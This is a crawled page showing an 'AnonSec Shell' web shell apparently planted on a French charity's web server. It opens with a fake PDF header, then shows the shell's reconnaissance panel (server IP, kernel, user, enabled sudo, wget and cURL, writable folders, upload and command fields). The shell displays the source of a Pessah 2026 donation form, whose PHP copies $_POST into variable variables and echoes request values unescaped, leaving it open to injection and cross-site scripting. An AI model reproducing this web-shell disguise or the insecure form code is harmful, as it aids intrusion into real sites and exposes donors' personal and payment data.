%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/formulaire_pessah.php
<?php
//if(empty($_POST['categorie'])) $_POST['categorie']=260;
//if(!empty($_GET['ann']) && $_GET['ann']==2013){
//	$prix_place=array($_POST['categorie'],$_POST['donAuChoix']);
/*}
else
{
	$_GET['ann']=2012;
	$prix_place=array(50,100,150,250);
}*/

// Couleur du texte des champs si erreur saisie utilisateur
$color_font_warn="#FF0000";
// Couleur de fond des champs si erreur saisie utilisateur
$color_form_warn="#FFCC66";
// Ne rien modifier ci-dessous si vous n’&ecirc;tes pas certain de ce que vous faites !
$list['f_9']=array(0,1,2,3,4,5,6,7,8,9,10);
$list['f_10']=array(0,1);
if(isset($_POST['submite'])){
$erreur="";
// Nettoyage des entr&eacute;es
while(list($var,$val)=each($_POST)){
if(!is_array($val)){
$$var=strip_tags($val);
}else{
while(list($arvar,$arval)=each($val)){
$$var[$arvar]=strip_tags($arval);
}
}
}
// Formatage des entr&eacute;es
$f_1=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_1)));
$f_2=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_2)));
$f_3=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_3)));
$f_4=trim(eregi_replace("[^0-9+]", "", $f_4));
$f_5=trim(ucwords(eregi_replace("[^a-zA-Z0-9&eacute;&egrave;&egrave;äö\ -]", "", $f_5)));
$f_6=strip_tags(trim($f_6));
$f_7=trim(eregi_replace("[^0-9\ +]", "", $f_7));
$f_8=trim(eregi_replace("[^0-9\ +]", "", $f_8));
// Verification des champs
if(strlen($f_1)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Nom &raquo; est vide ou incomplet.</span>";
$errf_1=1;
}
if(strlen($f_2)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Pr&eacute;nom: &raquo; est vide ou incomplet.</span>";
$errf_2=1;
}
if(strlen($f_3)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Adresse: &raquo; est vide ou incomplet.</span>";
$errf_3=1;
}
if(strlen($f_4)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Code postal: &raquo; est vide ou incomplet.</span>";
$errf_4=1;
}
if(strlen($f_5)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; Ville: &raquo; est vide ou incomplet.</span>";
$errf_5=1;
}
if(strlen($f_6)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; E-mail: &raquo; est vide ou incomplet.</span>";
$errf_6=1;
}else{
if(!ereg('^[-!#$%&\'*+\./0-9=?A-Z^_`a-z{|}~]+'.
'@'.
'[-!#$%&\'*+\/0-9=?A-Z^_`a-z{|}~]+\.'.
'[-!#$%&\'*+\./0-9=?A-Z^_`a-z{|}~]+$',
$f_6)){
$erreur.="<li><span class='txterror'>La syntaxe de votre adresse e-mail n'est pas correcte.</span>";
$errf_6=1;
}
}
if(strlen($f_7)<2){
$erreur.="<li><span class='txterror'>Le champ &laquo; T&eacute;l&eacute;phone: &raquo; est vide ou incomplet.</span>";
$errf_7=1;
}
if($erreur==""){
// Cr&eacute;ation du message
$titre="Message de votre site";
$tete="From:Site@Meirpanim.fr\n";
$corps.="Nom : ".$f_1."\n";
$corps.="Pr&eacute;nom: : ".$f_2."\n";
$corps.="Adresse: : ".$f_3."\n";
$corps.="Code postal: : ".$f_4."\n";
$corps.="Ville: : ".$f_5."\n";
$corps.="E-mail: : ".$f_6."\n";
$corps.="T&eacute;l&eacute;phone: : ".$f_7."\n";
$corps.="Portable: : ".$f_8."\n";
$corps.="Nombre de billets &agrave; ".$_POST['categorie']."&euro; : ".$list['f_9'][$f_9]."\n";
$corps.="Nombre de billets &agrave; ".$prix_place[1]."&euro; : ".$list['f_10'][$f_10]."\n";
$type_from='gala2023';
$montant=(($_POST['categorie']*$list['f_9'][$f_9]) + ($prix_place[1]*$list['f_10'][$f_10]));
//include($_SERVER["DOCUMENT_ROOT"].'/paiement/call_request.php');
/*
if(mail("meirpanim@tobeweb.eu", $titre, stripslashes($corps), $tete)){
$ok_mail="true";
}else{
$erreur.="<li><span class='txterror'>Une erreur est survenue lors de l'envoi du message, veuillez refaire une tentative.</span>";
}
*/
}

}
if(!isset($_POST['submit']) || $erreur!="")
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<style type="text/css" media="screen"><!--
INPUT { color: #000; font-size: 11px; font-family: verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular; background-color: #EEEEEE }
SELECT { color: #000; font-size: 11px; font-family: verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular; background-color: #EEEEEE }
TEXTAREA { color: #000; font-size: 11px; font-family: verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular; background-color: #EEEEEE }
.txterror { color: black; font-size: 11px; font-family: Verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular }
.txtform { color: black; font-size: 12px; font-family: Verdana, Arial, Helvetica, Geneva, Swiss, SunSans-Regular }
--></style>
<script>
function calc_total()
{
	var donAuChoix = $("#donAuChoix").val();
	var qte_type1 = $("#qte_type1").val();
	var qte_type2 = $("#qte_type2").val();
	var qte_type3 = $("#qte_type3").val();
	//var prix_type3 = $("#prix_type3").val();
	var prix_type1 = 12;
	var prix_type2 = 120;
	var prix_type3 = 60;
	
	var mess='';
	
	if(!qte_type1) qte_type1=0; else mess = mess + qte_type1+' repas de '+prix_type1+' Euros || ';
	if(!qte_type2) qte_type2=0; else mess = mess + qte_type2+' paniers de '+prix_type2+' Euros || ';
	if(!qte_type3) qte_type3=0; else mess = mess + qte_type3+' cartes de '+prix_type3+' Euros || ';
	if(!parseInt(donAuChoix)) donAuChoix=0; else mess = mess + ' un don libre de '+donAuChoix+' Euros'; 
	
	var total=0;
	
	total = total + parseInt(qte_type1*prix_type1);
	total = total + parseInt(qte_type2*prix_type2);
	total = total + parseInt(qte_type3*prix_type3);
	total = total + parseInt(donAuChoix);
	
	document.getElementById('total').innerHTML=total;
	document.getElementById('spe_montant').value=total;
	document.getElementById('spe_periodicite').value=mess;
}

//ajout formulaire inscription table de 10
function toggle_div(bouton, id) {
 
  var div = document.getElementById(id);
 
  if(div.style.display=="none") {
 
    div.style.display = "block";
 
  } else {
 
    div.style.display = "none";
 
  }
 
}
//Fin ajout formulaire inscription table de 10

function format_form()
{
	document.getElementById('spe_nom').value=document.getElementsByName('f_1')[0].value;
	document.getElementById('spe_prenom').value=document.getElementsByName('f_2')[0].value;
	document.getElementById('spe_adresse').value=document.getElementsByName('f_3')[0].value;
	document.getElementById('spe_cp').value=document.getElementsByName('f_4')[0].value;
	document.getElementById('spe_ville').value=document.getElementsByName('f_5')[0].value;
	document.getElementById('spe_email').value=document.getElementsByName('f_6')[0].value;
	document.getElementById('spe_tel').value=document.getElementsByName('f_7')[0].value;
	document.getElementById('spe_portable').value=document.getElementsByName('f_8')[0].value;
	document.getElementById('spe_type_don').value='Soutien';
	document.getElementById('spe_occasion').value='Pessah 2026';
	return true;
}
</script>
</head>
 
<body>
<?php 
if(isset($_POST['submite']) && $erreur=="") $action = 'https://meirpanim.fr/stripe/public/checkout.php';
else $action = $PHP_SELF;
if($ok_mail=="true") { 
?>
<table width='100%' border='0' cellspacing='1' cellpadding='1'>
<tr><td><span class='txtform'>Le message ci-dessous nous a bien &eacute;t&eacute; transmis, et nous vous en remercions.</span></td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td><tt><?echo nl2br(stripslashes($corps));?></tt></td></tr>
<tr><td>&nbsp;</td></tr>
<tr><td><span class='txtform'>Nous allons y donner suite dans les meilleurs d&eacute;lais.<br>A bientôt.</span></td></tr>
</table>
<? }else{ ?>
<h2>
Don pour Pessah 2026 <br>
Les Amis de Méir Panim <br>
</h2>

<!--<div style="padding: 15px; text-align: center;">
<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #ff0000; font-size: large;"><strong>Attention ! Avant de régler vos places </strong></span></div>
<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #ff0000; font-size: large;"><strong>SVP assurez vous qu'elles soient disponibles</strong></span></div>
<div style="color: #222222; font-family: arial,sans-serif; font-size: 12.8px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: normal; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; background-color: #ffffff; text-decoration-style: initial; text-decoration-color: initial;"><span style="color: #ff0000; font-size: large;"><strong>Téléphonez au 01 42 25 59 27</strong></span></div>
</div>-->
<?php /*
<br>
<div align="center" style="color:red;border: 1px solid red;padding:10px;">
IMPORTANT!
Vous pouvez payer en ligne uniquement pour des places déjà réservées
auprès de l'association.
Si vous n'avez pas encore réservé, il est impératif de téléphoner au bureau
 pour vérifier les disponibilités. Tél: 01.42.25.59.27
</div>
*/?>
<br>

<form action='<? echo $action; ?>' method='post' name='myform' id='myform' onsubmit="format_form();">
<table width='100%' border='0' cellspacing='1' cellpadding='1'>
<? if($erreur){ ?><tr><td colspan='2' bgcolor='red'><span class='txterror'><font color='white'><b>&nbsp;ERREUR, votre message n'a pas &eacute;t&eacute; transmis</b></font></span></td></tr><tr><td colspan='2'><ul><?echo$erreur?></ul></td></tr><?}?>
<tr><td colspan='2'><span class='txterror'>*Les champs marqu&eacute;s d'une &eacute;toile doivent imp&eacute;rativement &ecirc;tre renseign&eacute;s</span></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Nom* :</span></td><td><input type='text' style='width:200 <?if($errf_1==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_1' value='<?echo stripslashes($f_1);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Pr&eacute;nom* :</span></td><td><input type='text' style='width:200 <?if($errf_2==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_2' value='<?echo stripslashes($f_2);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Adresse* :</span></td><td><input type='text' style='width:200 <?if($errf_3==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_3' value='<?echo stripslashes($f_3);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Code postal* :</span></td><td><input type='text' style='width:200 <?if($errf_4==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_4' value='<?echo stripslashes($f_4);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Ville* :</span></td><td><input type='text' style='width:200 <?if($errf_5==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_5' value='<?echo stripslashes($f_5);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>E-mail* :</span></td><td><input type='text' style='width:200 <?if($errf_6==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_6' value='<?echo stripslashes($f_6);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>T&eacute;l&eacute;phone* :</span></td><td><input type='text' style='width:200 <?if($errf_7==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_7' value='<?echo stripslashes($f_7);?>' size='24' border='0'></td></tr>
<tr><td align='right' width='30%'><span class='txtform'>Portable :</span></td><td><input type='text' style='width:200 <?if($errf_8==1){print("; background-color: ".$color_form_warn."; color: ".$color_font_warn);}?>;' name='f_8' value='<?echo stripslashes($f_8);?>' size='24' border='0'></td></tr>
<?php /*
<tr><td align='right' width='30%'><span class='txtform'>Type de don :</span></td><td><select id="categorie" name="categorie" onchange="$('#prixPlace').html($(this).val()); calc_total();"><option value="260" <?php if($_POST['categorie']==260) echo 'selected';?>>Cat&eacute;gorie carr&eacute; Or PAF 260 &euro;</option><option value="100" <?php if($_POST['categorie']==100) echo 'selected';?>>Cat&eacute;gorie 2 PAF 100 &euro;</option><option value="50" <?php if($_POST['categorie']==50) echo 'selected';?>>Cat&eacute;gorie 3 PAF 50 &euro;</option><option value="30" <?php if($_POST['categorie']==30) echo 'selected';?>>Cat&eacute;gorie 4 PAF 30 &euro;</option></select></td></tr>

<!--Roy-->
<tr><td align='right' width='32%'><span class='txtform'>Nombre :</span></td><td>
<table border='0' cellspacing='0' cellpadding='0'><tr>
<!--<td style="color:red;">PLUS DE PLACES LIBRES</td>-->
<? for($id=0;$id<count($list['f_9']);$id++){
if($id==$f_9){$ct="checked";}
print("<td><input ".$ct." type='radio' name='f_9' value=".$id."  onclick='calc_total();' border='0'></td><td><span class='txtform'>".$list['f_9'][$id]."</span></td>");
unset($ct);
}

?>
</tr>
</table>
</td></tr>
*/ ?>
<tr><td align='right' width='30%'><span class='txtform'>Type de don :</span></td><td>
<table border='0' cellspacing='0' cellpadding='0'><tr>
<td><label for="qte_type1"><span style="color:#821117; font-weight:bold;">Repas (seder inclus)</span> - prix unitaire 12 &euro;&nbsp;&nbsp;</label></td><td> <input type="text" name="qte_type1" id="qte_type1" value="<?php if(!empty($_POST['qte_type1'])) echo $_POST['qte_type1'];?>" size=2 onkeyup="calc_total();"> * 12 &euro;</td></tr>
<td><label for="qte_type2"><span style="color:#821117; font-weight:bold;">Colis de Pessah</span> - prix unitaire 120 &euro;&nbsp;&nbsp;</label></td><td> <input type="text" name="qte_type2" id="qte_type2" value="<?php if(!empty($_POST['qte_type2'])) echo $_POST['qte_type2'];?>" size=2 onkeyup="calc_total();"> * 120 &euro;</td></tr>
<td><label for="qte_type3"><span style="color:#821117; font-weight:bold;">Carte bancaire pr&eacute;pay&eacute;e</span> - prix de 60 &euro;&nbsp;&nbsp;</label></td><td> <input type="text" name="qte_type3" id="qte_type3" value="<?php if(!empty($_POST['qte_type3'])) echo $_POST['qte_type3'];?>" size=2 onkeyup="calc_total();"> * 60 &euro;</td></tr>
		</td></tr>
</table>
</td></tr>
<?/*
<tr><td align='right' width='30%'><span class='txtform'>Je ne veux pas participer au tirage au sort mais je fais un don de <input type="text" value="" onkeyup="calc_total();" onmouseup="toggle_div(this,'infodix');" id="donAuChoix"><?=$prix_place[1]?>&euro; :</span></td><td>
<table border='0' cellspacing='0' cellpadding='0'><tr>
<!--<td style="color:red;">PLUS DE PLACES LIBRES</td>-->
<? for($id=0;$id<count($list['f_10']);$id++){
if($id==$f_10){$ct="checked";}
print("<td><input ".$ct." type='radio' name='f_10' id='f_10' value=".$id."  onclick='calc_total();' onmouseup='toggle_div(this,'infodix');' border='0'></td><td><span class='txtform'>".$list['f_10'][$id]."</span></td>");
unset($ct);
}
?></tr>
</table> 
</td></tr>
*/?>
<tr><td align='right' width='30%'>Informations Compl&eacute;mentaires</td><td>
<div align="left" style="padding-left:15px;"><!--<h2 style="color:red;">Il n'y a plus de places disponible pour cet evenement. Merci.</h2>--></div>
<div>
<br>

<textarea  style="width:400px; height:150px" id="commentaire" name="commentaire" placeholder=""><?echo stripslashes($_POST['commentaire']);?></textarea></div><br>
<input type='submit' name='submite' value='Envoyer' border='0'>
</td></tr>
</table>
<!--  FORMATAGE -->
<input type="hidden" name="nom" id="spe_nom" value=''>
<input type="hidden" name="prenom" id="spe_prenom" value=''>
<input type="hidden" name="adresse" id="spe_adresse" value=''>
<input type="hidden" name="cp" id="spe_cp" value=''>
<input type="hidden" name="ville" id="spe_ville" value=''>
<input type="hidden" name="tel" id="spe_tel" value=''>
<input type="hidden" name="portable" id="spe_portable" value=''>
<input type="hidden" name="email" id="spe_email" value=''>
<input type="hidden" name="type_don" id="spe_type_don" value=''>
<input type="hidden" name="occasion" id="spe_occasion" value=''>
<input type="hidden" name="periodicite" id="spe_periodicite" value=''>
<input type="hidden" name="montant" id="spe_montant" value=''>
<input type="hidden" name="cancel_return_url" id="cancel_return_url" value='<?=$_GET['ann']?>'>
<!--  FIN FORMATAGE -->


</form>
<? } ?>
<p><b>Total &agrave; payer:</b> <span id="total">0</span> &euro;</p>
<div align="center"><!--
CERFA &egrave; partir d'un total de 100&euro;.--><br>
<?php /*<b>D&egrave;s validation du paiement, vos billets seront &agrave; votre disposition<br> */?>
<?php /*<b>DÈS VALIDATION DU PAIEMENT, UNE CONFIRMATION DE RÉSERVATION NOMINATIVE (QUI SERA EXIGÉE À L'ENTRÉE) VOUS SERA ENVOYÉE, ACCOMPAGNÉE DU CERFA CORRESPONDANT. </b><br> */?>
<?php if(isset($_POST['submite']) && $erreur=="") { 
?>

<script>
	alertPrinted = 1;
	calc_total();
	$('#myform').submit();
</script>

<?php } else { ?>
<script>
alertPrinted = 0;
calc_total();</script>
<?php } ?>
</body>
</html>

Anon7 - 2022
AnonSec Team